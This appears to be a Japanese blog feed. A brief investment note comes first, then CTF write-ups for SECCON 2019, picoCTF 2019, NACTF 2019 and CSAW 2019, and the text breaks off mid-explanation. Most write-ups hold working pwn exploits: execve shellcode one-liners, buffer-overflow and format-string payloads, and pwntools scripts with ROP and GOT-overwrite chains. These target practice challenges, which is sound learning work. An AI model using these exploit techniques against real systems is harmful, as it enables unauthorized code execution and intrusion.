2019年運用成績 & おまけ
2019年運用成績 & おまけ
概要
運用ポリシーと2017年・2018年は以下.
結果
去年がひどかった分,今年は良かったです.
来年からの変更点
- ボーナス月に増すのをやめて月10万で120万使い切る(均したほうが状況がわかりやすい,という理由なだけ)
悩み
S&P 500 とか有能な商品が増えてきたので買いたいなぁ…
おまけ
某プラベでボコられた結果,全ルール X になれました.
SECCON CTF 2019 国内決勝 writeup
SECCON CTF 2019 国内決勝 writeup
yharima
チームで参加.
アタックポイント 1000 pts
+ ディフェンスポイント 631 pts
の計 1631 pts
で 7位でした(去年と同じ順位だった).
今回は,問題ごとではなく思い出せる範囲で時系列順で書きます.
ソースコードは末尾にリンクを貼っておきます.
問題概略
- 壱: バイナリが与えられて UDP パケット投げるとフラグが書き込める
- 弐: 画像アップロードしてなんかするらしい(見てない)
- 参: 多種多様なアーキテクチャのバイナリが与えられて BOF するやつ
- 四: 予選の reversing 問題みたいなバイナリとトレースが与えられて再現するやつ
- 伍: sname game の AI を各チームでバトらせて1位だとディフェンスポイントが得れる
- 六: Jeopardy 形式で色々な問題があった
1日目
壱
とりあえず壱のバイナリを読む,がなんかポート番号がおかしい.
ローカルでいくつかの index を与えて起動しても問題文のポート番号の計算と合わない.
:thinking: となっていたら問題修正が入った,別のメンバーが nc してひとまずフラグゲット.
次のディフェンスポイントはどうやら UDP パケットと token 投げつけると次の port が与えられて10回?やるといいらしい,ということをバイナリ読んで理解する.
ただ,なんか途中でポート見失うとそのポート特定しないと何の応答もできなくなるので,半分詰んでしまうきつい問題だった.
既にアタックフラグを取ったメンバーがやってたのでバイナリ読んだ情報だけ共有して次の問題へ.
どうやらこの問題,最後は UDP パケットを受け付ける時間が短くなっていくようで相当つらそうだった.
参
複数のアーキテクチャのバイナリが与えられる. BOF があるのでなんとかするっぽい感じだった.
ARM のバイナリは読めそうだったので色々 qemu とか入れて試行錯誤したけど,どう頑張ってもうまく起動しない.
起動しないと exploit 書くことすらできずひたすらスタート地点にも立てず無限に時間を溶かしてた.
伍
気分転換に見てみるとどうやら snake game の AI を使って他のチームの AI とバトらせて1位をとるとディフェンスポイントもらえるらしい.
とりあえず動作させて BFS したりする簡単な実装してみたけど1日目は全然勝てず終了した.
1日目と2日目の間
1pts も点数を取れないまま1日目が終わり,無力感を噛み締めながら UDX のフードコートでラーメンを食べた.
正直家に帰ってこのままでは人権すらなく,椅子を温めるだけになりそうで本気で危機感を感じる.
まずは, ARM のバイナリを動かすために色々ビルドしたりしたけどやっぱり動かない.
正確には動くけど gets
途中でなぜか落ちる.でもエラーコードは返さず正しく終了する.もうこれは無理だ…と見切りつける.
CTF だし伍の snake game の AI それなりの書けばディフェンスポイントで人権得れるのでは?と考え実装を始める.まさかあんな過酷な戦いになるとはこのときは思いもしなかったのであった…. 満足するものがすぐにはできず,結局朝5時くらいまで実装していた.この時点では以下の実装になっていた.
- Python 側は必要な出力だけを吐いて C++ で答えそ返す
- 1つ目の Apple をとるまでは最短のものを探す
- それ以降は mini-max で探索(深さ9)
- 評価関数は勝利条件である自身と敵の長さの差(死ぬ場合はそちらのほうが評価値が高い)
2日目
8:30 に起床.正直くそ眠くてあんまり記憶がない.ただ,俺ディフェンスポイントとったらもう会場で寝るんだ…というお気持ちで会場へ.しかしここからが本当の戦いだった.
初めて1位になるまで
10時開始とともに AI を投入するも勝てない….
評価関数が良くなく, Apple をとりにいくことを優先させる結果死んでしまうようだった.
元々構想としてあった,評価関数に movable_count
というその時点でいる場所から移動可能なマスの総数を組み込んでみた.
この時点では評価関数は以下.
- 優先するのは長さの差
- 長さが同じ場合は
movable_count
が大きいほう
これでしばらく動かしていると結構勝ち始め,ついに 12:20 くらいに1位に躍り出る.この時点でのスコアは 1801.8463296316543
だった.
嬉しくて写真撮影をする.
防衛1: 小手先パッチ
みんなそんな本気じゃないだろうし,ここからいい感じにメンテナンスしつつ大きくアルゴリズム変えなくても大丈夫だろう,と思っていたが1時間くらい?すると負け始めまたフラグが奪われる.
どうもゲーム内容をみていると,大きいマップが降ってきたときに生き残るよりも自身の長さを大きくしすぎる結果,ターン終了までに自身の tail のせいで詰んでしまうケースが結構あった(戦ってる AI は生き残ることに全力なような動きでこれは厳しいという感じ).
しょうがないので小手先のパッチである,自身と敵の長さが10以上(10は適当に決めた)ある場合は評価関数の優先順位を入れ替えるようにした.具体的には以下.
- 優先は
movable_count
が大きいほう - 同じ場合は長さの差
この小手先パッチは意外と活躍し,それなりに防衛した.
防衛2: 残りターン数の導入
元々気になっていた残りターンを拾えてなくて,勝てる試合なのにゲーム終了以降も探索して変な動きをした結果負ける,みたい試合があった.
やはり負け始め,このあたりの問題を起こしているケースがあったので Python のコードを読んでいるとやはり残りターン数は渡ってきているようだった.
最初から見ておけよ…というのは :hyakuriaru: のですが,面倒だったので….サンプルに書いておいてほしかった.
ターン数が 0 の場合はその時点で結果を返すようにするとまた勝ち始める.もうこのあたりで消耗戦感ができてもう許して…って感じだった.もちろん許してもらえない.
最終防衛まで: alpha-beta 法の導入とセグフォ
もう許して…あとできることは,探索の深さを上げるくらいで alpha-beta 法くらいしかないな…と思ってしばらく様子みていると負け始める.
このあたりはもう3チームくらいとデッドヒートを繰り広げていて,フラグの激しい奪い合いだった.
alpha-beta 法を導入し,探索の深さを 9 から 13 へ.ローカルでは alpha-beta 法導入前の AI とバトらせていい成績が出たので投入する.
デプロイするとセグフォで死ぬ…なぜ?と思っている間にすごい勢いでスコアが下がっていく.
死にたい気持ちになりながら見てもよくわからず,もっかいビルドして投げ込むと動き始めた.変なバイナリなげちゃったのか結局何が問題だったのかわからなかった.
動き始めるとやはり深く読めるようになったのか,ここからは勝ち始め最後まで防衛に成功した.
KMC がすごい勢いで追い上げてきてもうひたすら祈っていた.
5秒前のスコア一覧は以下(10.5.1.45:9999
はうちのチーム).
{ "score": { "10.5.1.48:9999": 1149.9201212027613, "10.5.1.42:9999": 1596.4466710856354, "10.5.1.37:9999": 1076.2148700052967, "10.5.1.43:9999": 1846.3636003307793, "10.5.1.45:9999": 1939.8270648109706, "10.5.1.47:9999": 1229.7707035460242, "10.5.1.44:9999": 1926.9832289707224, "10.5.1.38:9999": 1601.2914897880303, "10.5.1.39:9999": 1167.5223517980698, "10.5.1.33:9999": 1265.149764353398, "10.5.1.41:9999": 1101.8125012462992, "10.5.1.46:9999": 1656.1592175341061, "10.5.1.40:9999": 1801.4429520529613, "10.5.1.34:9999": 1611.6238491044064, "10.5.1.36:9999": 1243.9137867412862, "10.5.1.35:9999": 1785.5578274292523 }, "result": { "1st": [ "10.5.1.45:9999", "14ab47837ca97d08d89c49dde8fedb55" ] } }
結果
最終的には 500pts
をゲットしていたらしい.
懇親会
snake game の話を最後までバトっていた R19
, p3r0zm
の チームの人と少し話せた.楽しかった.
が,もうひたすら眠くて厳しかったので途中で抜けました.帰ってほぼさっきまで寝てました.
まとめ
自分はセキュリティ要素皆無でしたが, AI バトル楽しかった.
無事 500 pts の人権を得れたので本当に良かった.取れなかったら椅子を温めているだけだったので….
2年連続出場だけど今年は繰り上がりだったので,来年はちゃんと出れるようになりたい.
おまけ
ソースコードは以下においてあります.色々実装がアレなのはお許しください.
盤面コピーとか無駄なことしまくっててなんで…ってお気持ちが今見て湧いてます.
https://github.com/yuta1024/ctf_log/tree/master/SECCON_CTF_2019_Domestic
他のメンバーの writeup
SECCON CTF 2019 QUALS writeup
SECCON CTF 2019 QUALS
yharima
で参加.今回は6人で参加.
自分にあまり人権はなかったが,メンバーが頑張ってくれて 1954pts で 45位.決勝は厳しそう.
pwn 担当なのでいつも通り pwn ばっかり手を出してたけど爆死しました.
ソース: https://github.com/yuta1024/ctf_log/tree/master/SECCON_CTF_2019_QUALS
Beeeeeeeeeer
最初は pwn がなかったので適当に手を出した.
実行するとわけわからん感じだけど,中身をみるとやたら長い base64 エンコードされたものがある.
echo <やたらながい> |base64 -d|gunzip|bash
圧縮されてるし解凍して bash
に詳してるし怪しい.
この部分を取り出すと for 文が回ってたりするがまた長い base64 がある.
ただ今度は暗号化されてるようで echo <やたらながい> |base64 -d|openssl aes-256-cbc -d -pass pass:$(echo -n $n|md5sum |cut -c2,3,5,12) -md md5 2>/dev/null |bash;
となっている.
$n
は上のほうでランダムに決定されていて取りうる範囲は 1 - 10 なので適当に1から10ためしてみると3で復号できる.
また難読化されたものがでるが,末尾が SECCON{$S1$n$_____};echo -e '\033[?7h';
となっていてフラグっぽい.
$n
は 3
として $S1
は? と思ったけどメンバーがすでに解析終わっていたようで hogefuga
らしい.
あとは $_____
だけどどうすれば…とおもっていたらメンバーが順番に echo していけば読めると教えてくれたので読んでいくとどうやら bash
らしい.
というわけで bash といれてみると,以下のようになった.
$ S1=hogefuga n=3 bash beer3 Enter the password bash Good Job! }
どゆこと…?でも Good Job だからあってるんだよなあとおもって strace にかける,
$ S1=hogefuga n=3 strace bash beer3 (snip) write(1, "Good Job!\n", 10Good Job! ) = 10 write(1, "\n", 1 ) = 1 write(1, "\33[?7l "..., 1024 4 write(1, " ", 5 ) = 5 write(1, "SECCON{hogefuga3bash}\n", 22SECCON{hogefuga3bash} ) = 22 write(1, "\33[?7h\n", 6 ) = 6 read(255, "", 8192) = 0 rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0 rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0 exit_group(0) = ? +++ exited with 0 +++
フラグでとるやん!制御文字でクリアでもされているのか?という話に.
というわけで SECCON{hogefuga3bash}
が答え.
Sum
実行すると数字を与えて最後に 0
を入れると加算結果を表示してくれる.
1 1 1 1 0
みたいなのはいいけど 1 1 1 1 1 0
みたいにするとセグフォで落ちる.
=> 0x40077a <sum+35>: mov QWORD PTR [rax],0x0
このときに rax
は 0x0
で入力を他の数字にかえてみる.(1 1 1 1 1 1
).
=> 0x40077a <sum+35>: mov QWORD PTR [rax],0x0
どうも6個目の入力のアドレス先に 0 を代入してるらしい.さらに読み進めていくとここに加算された結果を足しこんでいくようだ.
ということは任意のアドレスを書き換えることができる.ひとまず書き換えが1回だけでは何も出来ないので main が何回も実行されるようにしたい.
6個以上入力を食わすと exit されるので exit の got を上書きして main に飛ぶようにする.
注意しないといけないのは6個の合計値が加算されるので,書き換えたい先のアドレス分の値は引いておかないといけない.
ここまできたら libc のアドレスを leak して one_gadget のアドレスを求めたら exit
の got を上書きして飛ばしてあげれば良い.
ただ,libc を leak する方法で迷走した.GOT を上書きしてなんとかしたいが,都合よく libc のアドレスを leak できそうな引数をとってるものがない.
setup
をみると setvbuf
で 0x601060(stdout)
が指定されていてちょっと使えそうなきがしたのでまず exit => main から exit => _start にして setup が何度も呼ばれるようにする.
そして setvbuf
を puts
に書き換えて実行してみるもどうもそれっぽい値がでない.
ここから迷走したが最終的には 0x601060
にさらに puts@got
のアドレスを書き込んでやると libc が leak できたのであとは one_gadget に飛ばした.他にいい方法がありそうな気もする.
https://github.com/yuta1024/ctf_log/blob/master/SECCON_CTF_2019_QUALS/sum/sum.py
$ python sum.py [+] Opening connection to sum.chal.seccon.jp on port 10001: Done [+] libc_base addr = 0x7fee79528000 [*] Switching to interactive mode $ ls bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv start.sh sum sys tmp usr var $ cat flag.txt SECCON{ret_call_call_ret??_ret_ret_ret........shell!}
まとめ
2問しかも1つは半分くらいメンバーも手を出していたので人権1.5だった.
pwn 難しすぎなのと heap から逃げてたけどいい加減向き合うことにします. one
は解けないといけない問題であった‥.
決勝でれたらいいな….
嘆き
lazy
無限に時間を溶かした上に解けなかった問題.
ID/PASS は BOF して抜いてバイナリを拾ってくるまでは簡単.
さらに BOF があるので ROP し放題なわけだが libc をダウンロードできない.
無理やり ROP してダウンロードしてみるも 4MB くらいで EOF が返ってくる.
中の関数などを使って直接フラグを表示させる方法も試行したが,おそらくシェルをとってその上で同じディレクトリにある cat
コマンドを使わないとだめな雰囲気を感じた.
以下のようにフラグファイルが見えて他のファイルが読めたので心がつらかった.
$ python lazy.py [+] Opening connection to lazy.chal.seccon.jp on port 33333: Done [+] Receiving all data: Done (193B) [*] Closed connection to lazy.chal.seccon.jp port 33333 run.sh lazy ld.so cat .profile libc.so.6 810a0afb2c69f8864ee65f0bdca999d7_FLAG .bashrc q .bash_logout run.sh Sending 68 bytes#!/bin/sh export HOME="/home/lazy" ./ld.so --library-path . ./lazy $ python lazy.py [+] Opening connection to lazy.chal.seccon.jp on port 33333: Done [+] Receiving all data: Done (52B) [*] Closed connection to lazy.chal.seccon.jp port 33333 810a0afb2c69f8864ee65f0bdca999d7_FLAG No such file!
もっと勉強します….
追記
繰り上げで国内決勝に出れることになりました! :tada:
picoCTF 2019 writeup
picoCTF 2019
いつもどおり yharima
で,でも今回も一人だった.
さすがに問題多すぎるというのと, SECCON に向けての練習ということでほぼ pwn しかやらなかった.
7300pts で 1833th. 参加者めちゃくちゃ多いっすね….
数も多いので pwn だけ writeup 書きます.コードは以下.
ctf_log/picoCTF_2019 at master · yuta1024/ctf_log · GitHub
handy-shellcode
32bit のシェルコード流せばOK.
$ (perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\n"'; cat) | ./vuln Enter your shellcode: 1�Ph//shh/bin��PS�� ̀ Thanks! Executing now... ls flag.txt vuln vuln.c cat flag.txt picoCTF{h4ndY_d4ndY_sh311c0d3_4dc9a786}
practice-run-1
実行するだけ.
$ ./run_this picoCTF{g3t_r3adY_2_r3v3r53}
OverFlow 0
BOF させるだけ.
$ perl -e 'print "A" x 256' | xargs ./vuln picoCTF{3asY_P3a5yf663660d}
OverFlow 1
BOF させてフラグ表示する関数に飛ばす.
$ perl -e 'print "A" x 76 . "\xe6\x85\x04\x08"' | ./vuln Give me a string and lets see what happens: Woah, were jumping to 0x80485e6 ! picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5b80c9cbf}Segmentation fault (core dumped)
NewOverFlow-1
64bit なだけ.なぜか flag
関数の先頭だとうまくいかなかったのでずらしたら動いた.
$ perl -e 'print "A" x 72 . "\x68\x07\x40\x00\x00\x00\x00\x00\n"' | ./vuln Welcome to 64-bit. Give me a string that gets you the flag: picoCTF{th4t_w4snt_t00_d1ff3r3nt_r1ghT?_cfe23f2b}
slippery-shellcode
nop おいて滑らすだけ.
$ (perl -e 'print "\x90" x 256 . "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80\n"'; cat) | ./vuln Enter your shellcode: ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Rh//shh/bin��RS��B ̀ Thanks! Executing from a random location now... ls flag.txt vuln vuln.c cat flag.txt picoCTF{sl1pp3ry_sh311c0d3_0fb0e7da}
NewOverFlow-2
問題ミスとしか思えない.本当は ROP させたいんだろうけど flag
関数が残ってるので1と同じ.
$ perl -e 'print "A" x 72 . "\x4e\x08\x40\x00\x00\x00\x00\x00\n"' | ./vuln Welcome to 64-bit. Can you match these numbers? picoCTF{r0p_1t_d0nT_st0p_1t_e51a1ea0}
OverFlow 2
引数をとるようにするだけ.
$ perl -e 'print "A" x 188 . "\xe6\x85\x04\x08" . "A" x 4 . "\xef\xbe\xad\xde" . "\x0d\xd0\xde\xc0"' | ./vuln Please enter your string: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ� picoCTF{arg5_and_r3turn598632d70}
CanaRy
canary は固定なので 1byte づつ canary を総当たりして leak させる.
全部 leak させたら戻りアドレスの末尾 2byte を display_flag
のアドレスにする.
ただし, objdump でみると 000007ed <display_flag>
となっており 0xed
はいいにしても 0x07
の部分は 0x07
から 0xf7
までとりうる.
これは確定できないので適当な値を決め打ちして何回か実行したらそのうちあたる.
https://github.com/yuta1024/ctf_log/blob/master/picoCTF_2019/canary/canary.py
$ python /tmp/yuta1024/canary.py [+] Starting local process '/problems/canary_3_257a2a2061c96a7fb8326dbbc04d0328/vuln': pid 3566097 [+] Receiving all data: Done (71B) [*] Process '/problems/canary_3_257a2a2061c96a7fb8326dbbc04d0328/vuln' stopped with exit code -11 (SIGSEGV) (pid 3566097) Ok... Now Where's the Flag? picoCTF{cAnAr135_mU5t_b3_r4nd0m!_0bd260ce}
leap-frog
win1 && !win1
みたいなふざけた条件があって普通に関数をよんでもだめ.
win1
, win2
, win3
はグローバル変数で連続しているので win1
を引数に gets
を読んで 3byte 埋めてから display_flag
を呼び出してあげれば良い.
はたして想定解法なのか…?
https://github.com/yuta1024/ctf_log/blob/master/picoCTF_2019/leap-frog/leap-frog.py
$ python /tmp/yuta1024/leap-frog.py [+] Starting local process '/problems/leap-frog_1_2944cde4843abb6dfd6afa31b00c703c/rop': pid 4130613 [+] Receiving all data: Done (50B) [*] Process '/problems/leap-frog_1_2944cde4843abb6dfd6afa31b00c703c/rop' stopped with exit code -11 (SIGSEGV) (pid 4130613) picoCTF{h0p_r0p_t0p_y0uR_w4y_t0_v1ct0rY_f60266f9}
stringzz
FSB があるので適当に %x
並べてフラグが格納されてるアドレス位置をみつけたらそこを %s
するだけ.
$ ./vuln input whatever string you want; then it will be printed back: %37$s Now your input will be printed: picoCTF{str1nG_CH3353_0814bc7c}
GoT
タイトル通り GOT を上書きするだけ.
しかもご丁寧にアドレスを読み込んで任意の値にしてくれる.書き換えるのは最後の exit
の GOT.
exit の GOT は 0x804a01c
で 10進数になおすと 134520860
.
win のアドレスは 0x00485c6
で 134514118
.
$ ./vuln You can just overwrite an address, what can you do? Input address 134520860 Input value? 134514118 The following line should print the flag picoCTF{A_s0ng_0f_1C3_and_f1r3_9463c919}
seed-sPRiNG
srand(time(NULL))
したあと rand() & 0xf
してるだけなので時間さえ合わして同じシードにしたらローカルで計算した乱数と一致する.
サーバタイムは普通に date
すればわかるので適当にずれているなら待てばいい.
$ date && nc 2019shell1.picoctf.com 21871 2019年 10月 4日 金曜日 01:06:47 JST # mmmmm mmmmm " mm m mmm mmm mmm mmm mmm# mmm # "# # "# mmm #"m # m" " # " #" # #" # #" "# # " #mmm#" #mmmm" # # #m # # mm """m #"""" #"""" # # """m # # "m # # # # # # "mmm" "#mm" "#mm" "#m## "mmm" # # " mm#mm # ## "mmm" Welcome! The game is easy: you jump on a sPRiNG. How high will you fly? LEVEL (1/30) Guess the height: 8 LEVEL (2/30) Guess the height: 6 LEVEL (3/30) Guess the height: 5 LEVEL (4/30) Guess the height: 8 LEVEL (5/30) Guess the height: 13 LEVEL (6/30) Guess the height: 12 LEVEL (7/30) Guess the height: 13 LEVEL (8/30) Guess the height: 15 LEVEL (9/30) Guess the height: 11 LEVEL (10/30) Guess the height: 3 LEVEL (11/30) Guess the height: 14 LEVEL (12/30) Guess the height: 8 LEVEL (13/30) Guess the height: 4 LEVEL (14/30) Guess the height: 1 LEVEL (15/30) Guess the height: 15 LEVEL (16/30) Guess the height: 9 LEVEL (17/30) Guess the height: 8 LEVEL (18/30) Guess the height: 10 LEVEL (19/30) Guess the height: 12 LEVEL (20/30) Guess the height: 7 LEVEL (21/30) Guess the height: 6 LEVEL (22/30) Guess the height: 13 LEVEL (23/30) Guess the height: 5 LEVEL (24/30) Guess the height: 8 LEVEL (25/30) Guess the height: 1 LEVEL (26/30) Guess the height: 1 LEVEL (27/30) Guess the height: 0 LEVEL (28/30) Guess the height: 4 LEVEL (29/30) Guess the height: 5 LEVEL (30/30) Guess the height: 10 picoCTF{pseudo_random_number_generator_not_so_random_454fbf9b8595fa66a87547e520351217}Congratulation! You've won! Here is your flag:
L1im1tL355
main 関数内で stack に積んでる array[666]
は負の index を与えることができる.
replaceIntegerInArrayAtIndex
に飛んだ先で戻りアドレスの値を win
のアドレスに書き換えてあげればいい.
main から replaceIntegerInArrayAtIndex を呼び出してるので負値の index を与えるといい感じに書き換えれる.
$ ./vuln Input the integer value you want to put in the array 134514118 Input the index in which you want to put the value -5 picoCTF{str1nG_CH3353_5243a217}
rop32
/bin/sh
がないので gets を使って bss の適当な場所に入力する.
あとはレジスタを pop gadget でいい感じにして int 0x80
してシェルを起動する.
gets は改行がくるとだめなので pop eax; ret;
みたいな gadget だとアドレスに 0x0a
があってだめだった.
https://github.com/yuta1024/ctf_log/blob/master/picoCTF_2019/rop32/rop32.py
$ python ~/rop32.py [+] Starting local process '/problems/rop32_1_c4f09c419e5910665553c0237de93dcf/vuln': pid 2046935 [*] Switching to interactive mode $ ls -l total 656 -r--r----- 1 hacksports rop32_1 31 Sep 28 21:54 flag.txt -rwxr-sr-x 1 hacksports rop32_1 661832 Sep 28 21:54 vuln -rw-rw-r-- 1 hacksports hacksports 466 Sep 28 21:54 vuln.c $ cat flag.txt picoCTF{rOp_t0_b1n_sH_b6597626}
rop64
x86_64 にするだけ.
https://github.com/yuta1024/ctf_log/blob/master/picoCTF_2019/rop64/rop64.py
$ python ~/rop64.py [+] Starting local process '/problems/rop64_4_a266556e68202c0c42d6c14f6c7102b3/vuln': pid 1560430 [*] Switching to interactive mode $ ls flag.txt vuln vuln.c $ cat flag.txt picoCTF{rOp_t0_b1n_sH_w1tH_n3w_g4dg3t5_5e28dda5}
まとめ
pwn は全部解きたかったけどいつの間にか終わってた.heap 系苦手‥.
NACTF 2019 writeup
NACTF 2019
yharima
で参加…だけど今回も一人.かつぬるく参加して主に pwn だけに手を出した.
メインでやったのは pwn なので pwn だけ writeup を書く.
今回ソースコードは付いてるが読まない縛りをした.
ソース: https://github.com/yuta1024/ctf_log/tree/master/NACTF_2019
BufferOverflow #0
セグフォを起こすと win
関数が呼ばれて flag が表示される.
というわけで適当に BOF させてあげれば良い.
$ python bufover-0.py [+] Opening connection to shell.2019.nactf.com on port 31475: Done [+] Receiving all data: Done (98B) [*] Closed connection to shell.2019.nactf.com port 31475 You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA! You win! flag: nactf{0v3rfl0w_th4at_buff3r_18ghKusB}
BufferOverflow #1
単純に BOF があって EIP 奪えるので BOF させて win
関数に飛ぶようにすれば良い.
$ python bufover-1.py [+] Opening connection to shell.2019.nactf.com on port 31462: Done [+] Receiving all data: Done (91B) [*] Closed connection to shell.2019.nactf.com port 31462 You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb2\x91\x0! You win! flag: nactf{pwn_31p_0n_r3t_iNylg281}
BufferOverflow #2
BOF があって EIP が奪えて win
関数に飛ばせば良い.
が, win
関数が適切な引数を取る必要があるので引数に取るようにしてあげれば良い.
Hopper で読んでいる感じだと3つ引数を取る必要があって 0x14b4da55
, 0x0
, 0xf00db4be
を順番に取らないとだめっぽい?
$ python bufover-2.py [+] Opening connection to shell.2019.nactf.com on port 31184: Done [+] Receiving all data: Done (101B) [*] Closed connection to shell.2019.nactf.com port 31184 You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAA\x0AAAAUڴ\x14! You win! flag: nactf{PwN_th3_4rG5_T0o_Ky3v7Ddg}
Format #0
タイトル通り FSB がある.
フラグ自体は読み込まれていてそのアドレスがスタックに詰まれてるので,そこを表示するようにすれば良い.
$ python format-0.py [+] Opening connection to shell.2019.nactf.com on port 31782: Done [+] Receiving all data: Done (52B) [*] Closed connection to shell.2019.nactf.com port 31782 You typed: nactf{Pr1ntF_L34k_m3m0ry_r34d_nM05f469}
Format #1
次は読み出すのではなく書き換えが必要.
といっても書き換え対象はスタックに詰まれてる.値は 42
にしてあげれば良い.
$ python format-1.py [+] Opening connection to shell.2019.nactf.com on port 31560: Done [+] Receiving all data: Done (98B) [*] Closed connection to shell.2019.nactf.com port 31560 You typed: @ You win! nactf{Pr1ntF_wr1t3s_t0o_rZFCUmba}
Loopy #0
適当な GOT のアドレスを leak させて BOF してもう1回 main を実行させる.
leak したアドレスから libc のベースアドレスを計算して BOF させて system
を実行させれば良い.
$ python loopy-0.py [+] Opening connection to shell.2019.nactf.com on port 31283: Done [+] libc_base_addr = 0xf7d04000 [*] Switching to interactive mode You typed: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$ $ ls flag.txt loopy-0 $ cat flag.txt nactf{jus7_c411_17_4g41n_AnZPLmjm}
Loopy #1
Loopy #0
と同じだが SSP が有効になっていて BOF させて EIP を自由に操作することはできない.
FSB は健在なのでまず GOT を leak するのと __stack_chk_fail
の GOT を main に書き換える.
適当な GOT をリーク + わざと BOF させて __stack_chk_fail
を呼び出し main を再度呼び出す.
これで1回目は libc のベースアドレスを求めれる.
2回目は libc のベースアドレスを知っているのでなにかの GOT を system に書き換えることはできる.
ただし /bin/sh
を引数に取らないとだめなので自由な値を渡すことができる関数を書き換える必要がある.
printf
は入力を受け取った buffer をそのまま渡してるのでこいつを system に書き換えてあげれば良い.
__stack_chk_fail
はすでに main に書き換えてあるので BOF さえすればまた main から呼び出される.
3回目は特に何かする必要はなく入力に /bin/sh
を食わせてあげれば良い.
$ python loopy-1.py [+] Opening connection to shell.2019.nactf.com on port 31732: Done [+] libc_base_addr = 0xf7d08000 [+] system_addr = 0xf7d46c00 [*] Switching to interactive mode $ ls flag.txt loopy-1 $ cat flag.txt nactf{lo0p_4r0und_th3_G0T_VASfJ4VJ}
まとめ
FSB 利用して exploit を書くのが苦手.32bit なの久々だった.
pwn は全部解けたので良かった.割と教育的な問題だった印象.でも32bitって最近見ないのがどうなのか,と気にはなった.
CSAW CTF 2019 Quals writeup
CSAW CTF 2019 Quals writeup
いつもどおり yharima で参加…と思いきや一人でした.
久々の CTF だったのと,人も集まらなかったのでぬるりと参加していました.
pwn にだけ手をだして 201 pts の 339th. 難しかった.
ソース: ctf_log/CSAW_CTF_2019_Quals at master · yuta1024/ctf_log · GitHub
mcgriddlev2
pwn だけといいつつ warmup だけは投げた.
flag{W3lcome_7o_CSAW_QUALS_2019!}
baby_boi
繋ぎにいくと何かのアドレスを教えてくれる.しかも懇切丁寧にソースコードもある.
ソースを読むとどうやら printf
のアドレスを表示しているらしい.
そのあと露骨に BOF の脆弱性がある gets
が実行されてプログラムが終了する.
libc も付属しているので printf
のアドレスから libc の base アドレスを求める.
あとは one-gadget のアドレスを探索して BOF + one-gadget のアドレスでシェルが立ち上がる.
前回5時間溶かしたので今回はしっかり経験を活かした.
flag{baby_boi_dodooo_doo_doo_dooo}
from pwn import * context.arch = 'amd64' con = remote('pwn.chal.csaw.io', 1005) con.recvline() msg = con.recvline().strip() print msg libc_base_addr = int(msg[13:], 16) - 0x064e80 print "[+] libc_base_addr = 0x%x" % libc_base_addr payload = 'A' * 40 payload += pack(libc_base_addr + 0x4f322) con.sendline(payload) con.interactive()
gotmilk
名前からして露骨に GOT overwrite をする問題だから format string の脆弱性があるんだろうと予想する.
%x
とか食わしてみると予想通りアドレスが表示されるので GOT overwrite すればいい.
何をどう上書きするかについては lose
という関数の GOT を win
に書き換えればいい.
win
は 0x1189
で lose
は 0x11f8
なので libmylib.so
がどこのアドレスにリンクされるかの興味は一切なく,
末尾の 0xf8
を 0x89
に書き換えればいい.leak させる必要もない.hhn
でやる.
flag{y0u_g00000t_mi1k_4_M3!?}
from pwn import * context.arch = 'i386' con = remote('pwn.chal.csaw.io', 1004) con.recvregex('GOT milk\? ') con.sendline(pack(0x804a010) + '%133c%7$hhn%7$s') print con.recvline().strip()[13:].encode('hex') print con.recvall()
Twitch plays shellcode
正気度を疑う問題.x86_64 のシェルコードを twtich のチャットから入力して実行させる問題.
ただしどの行のどの列をどの値にするかはすべてチャット参加者の投票で決まる.なのでもちろん妨害もされる.
しばらく眺めていると結構いい感じに進んでいるタイミングを発見.結局色々あって2時間くらいかかっていた.
途中状況がわかってない人や荒らしっぽい人が入ってきてマジギレしてる人とかいて殺伐としていた.問題としてどうなのか….
最終的に実行されたシェルコードは以下だったはず.
\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8\x1a\x00\x00\x00\x63\x61\x74\x20\x2f\x68\x6f\x6d\x65\x2f\x74\x77\x69\x74\x63\x68\x2f\x66\x6c\x61\x67\x2e\x74\x78\x74\x00\x56\x57\x48\x89\xe6\x0f\x05
最終的にフラグは以下.
flag{https://www.youtube.com/watch?v=pGFGD5pj03M}
small_boi
コンテスト中は解けなくて後から解いた.
すごい小さく dynamic link もしてないバイナリ.libc はないが syscall はいくつかある.
BOF があるので ROP してなんとかすればいいんじゃないかと思い試行錯誤するも敗北.
pop eax
はあるので任意の syscall は呼び出せる,でも rdi をセットできない.
/bin/sh
はなぜか strings すると以下のようにあるのでほんと rdi だけセットできれば勝てる.
(1ca
だが調べてみると 0x400000 が base になるらしいのでそれを足した 0x4001ca
が /bin/sh
のアドレス).
$ strings -tx ./small_boi | grep /bin/sh 1ca /bin/sh
ここから無限に迷走して終了した.
どうも Sigreturn-oriented Programming(SROP) 問題だったらしい.
sigreturn 命令は確かに ropgadget の中にあった.
0x00400180: mov eax, 0x0000000F ; syscall ; (1 found)
こいつを呼び出すとレジスタを任意の値にセットでき,そこでセットした rip から処理が続行されるらしい.
詳しい解説は SROP などで調べてください.
なのでやることは以下.
- BOF させて 0x400180 の sigreturn を実行
- rax に execve の syscall 番号 0x3b をセット
- rdi に
/bin/sh
のアドレス0x4001ca
